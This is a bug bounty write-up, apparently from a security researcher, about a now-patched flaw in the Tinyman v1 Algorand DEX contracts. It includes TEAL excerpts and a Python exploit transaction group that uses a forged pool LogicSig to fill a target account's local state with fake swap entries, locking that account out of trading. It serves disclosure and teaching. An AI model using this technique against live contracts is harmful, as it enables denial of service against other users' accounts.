I discovered this smart contract bug soon after Tinyman launched their bug bounty program and received a small reward for it. While its potential impact was relatively limited (no funds could have been stolen!), it serves as a good case study of Algorand smart contracts and their possible vulnerabilities.
Algorand smart contracts
Algorand uses TEAL, a low-level stack-based language, to power its smart contracts. There are two ways to run TEAL on-chain:
Logic Signatures (LogicSig)
A LogicSig is an Algorand address with rules instead of a private key. It’s a stateless piece of logic: it stores no data, it just checks whether a transaction meets its conditions, and if so, signs it. Think of it as a lock that inspects the key and opens if the shape is right.
Applications
Applications are stateful contracts that can store data and execute more complex logic. They can maintain either global (app-level) state or local (account-level) state. Local state is specific to an account and stores data relevant only to that account. If the LogicSig is the lock, the Application is the program that runs once the door is open. This is more similar to the EVM smart contract model.
When creating a decentralized application on Algorand, we typically combine both. This split matters: the LogicSig and the Application each enforce their own checks independently, and the security of the system depends on both doing their job.
Tinyman DEX
Tinyman v1 contracts consist of pool LogicSigs and a validator application. The first liquidity provider creates each pool’s LogicSig during the bootstrap operation. These LogicSigs are derived from a template that the frontend application fills with the pool parameters (TMPL_ASSET_ID_1 and TMPL_ASSET_ID_2 which is the pair of assets to be exchanged).
Pool operations involve transactions to both the pool LogicSig and the validator application:
- The LogicSig validates the transaction structure and requires a second transaction to the validator
- The validator app performs the economic calculations and state updates
- The pool LogicSig receives and/or sends assets as needed (assets to be exchanged or tokens representing shares in the pool)
The vulnerability arises because anyone can create a pool LogicSig outside of the frontend, and the validator app does not explicitly verify that the LogicSig is legitimate.
Swaps and excess amounts
A swap (exchange of one asset for another) consists of 4 transactions in an atomic group:
- Fee payment: swapper pays transaction fees to pool (2000 microAlgos)
- App call: Pool calls the validator app with swap parameters (input amount, output amount, etc.)
- Asset In: Swapper sends the input asset to the pool
- Asset Out: Pool sends the output asset to the swapper
The validator app calculates the AMM pricing and validates the exchange rates.
The critical section
int 1
load 121 // excess_asset1_key
dup2
app_local_get
load 201 // excess_asset_1
+// excess_asset1_amount += excess_asset_1
app_local_put // excess_asset1_amount
To make it clearer how to read TEAL, this is what the top of the stack looks like at every line before the call to app_local_put:
When we call the app_local_put opcode (last line), it takes what is on the stack as arguments, effectively:
app_local_put(1, asset_key, `{excess_amount}{asset_key}`)
1 is the index of the account in the accounts argument of the transaction. When making an Algorand transaction, we pass in a set of accounts whose state can be modified by the contract. For example, this is the app call transaction (second in the swap group):
transaction.ApplicationNoOpTxn(
sender=pool_address,
sp=params,
index=validator_app_id,
app_args=[b"swap", b"fi"],
accounts=[sender_address],
foreign_assets=[asset1_id, asset2_id]
)
Here, Accounts[1] is sender_address. This is how the transaction is built when interacting with Tinyman from the frontend app: the swapper’s account goes in, the excess amounts get written to their local state. Everyone’s happy.
But Accounts[1] is only conventionally the swapper. The validator app never checks that Accounts[1] is actually the person performing the swap. It just writes to whatever account is at that index.
Instead of
accounts=[sender_address]
We could pass in
accounts=[target_account]
And the validator app wouldn’t complain. But there is still one problem…
Removing the pool check
The pool template has a check to ensure the receiver of the asset is the one whose local state is updated:
gtxna 1 Accounts 1
txn Sender
!=
assert
gtxna 1 Accounts 1
gtxn 4 AssetReceiver
==
assert
So the swap would still fail if we pass the first account as anything other than sender_address.
But what if we don’t use an official pool LogicSig at all? Since pool LogicSigs are compiled from a public template, anyone can take that template, remove the check, compile it, and use the resulting address as a fake pool. The validator app doesn’t verify the pool’s legitimacy. It just processes whatever transactions arrive in the group. So the swap transaction group becomes:
txns = []
# Txn 0: Payment to pool (0.002 Algo fee)
txns.append(
transaction.PaymentTxn(
sender=sender_address,
sp=params,
receiver=fake_pool_address,
amt=2000 # 0.002 Algo
)
)
# Txn 1: App call to validator
txns.append(
transaction.ApplicationNoOpTxn(
sender=fake_pool_address,
sp=params,
index=validator_app_id,
app_args=[b"swap", b"fi"],
accounts=[target_account],
foreign_assets=[asset1_id, asset2_id]
)
)
# Txn 2: Asset transfer IN (from swapper to pool)
txns.append(
transaction.AssetTransferTxn(
sender=sender_address,
sp=params,
receiver=pool_address,
amt=asset1_amount,
index=asset1_id
)
)
# Txn 3: Asset transfer OUT (from pool to swapper)
txns.append(
transaction.AssetTransferTxn(
sender=pool_address,
sp=params,
receiver=sender_address,
amt=min_asset2_amount,
index=asset2_id
)
)
# Group transactions
transaction.assign_group_id(txns)
Tada! target_account now has excess amounts for transactions they never performed.
Why is this a problem?
Each user account can store up to 16 local uint values. Once this local storage is filled up, no more transactions can be performed. The excess amounts are updated at each swap transaction.
The contract doesn’t explicitly check if there is available space, but it tries to write via app_local_put,
- If a key doesn’t exist and there is no space to create it, the transaction fails.
- By spamming fake excess amounts, an attacker could fill all slots in a user’s local state.
In practice, as someone running an arbitrage bot on Tinyman, I could have targeted competing bots, filled up their excess amounts with fake assets, and effectively frozen them.
Short-term fix
Tinyman released a patched version of their contracts that added checks in the validator app to ensure Accounts[1] is indeed the swapper (mirroring the existing checks in the pool LogicSig).
Long-term fix
TinymanV2 contracts include an integrity check in the validator app to ensure the pool LogicSig is legitimate, effectively preventing the same class of attacks from being possible in future versions.
Conclusion
This bug never threatened user funds, but it’s a clean example of what happens when trust boundaries between components don’t align. The pool LogicSig had the right check: it verified that Accounts[1] matched the asset receiver. The validator Application did not. The exploit worked by routing around the component that had the check and talking directly to the one that didn’t.
The lesson is that in a system where stateless and stateful components share responsibility, each one has to enforce its own invariants as if the other doesn’t exist. The V2 contracts do exactly this: the validator now verifies the pool’s legitimacy independently, closing this entire class of attacks.
Tinyman’s fast response and the structural fixes in V2 show the value of bug bounties. For me, it was satisfying to see my report contribute to stronger contracts.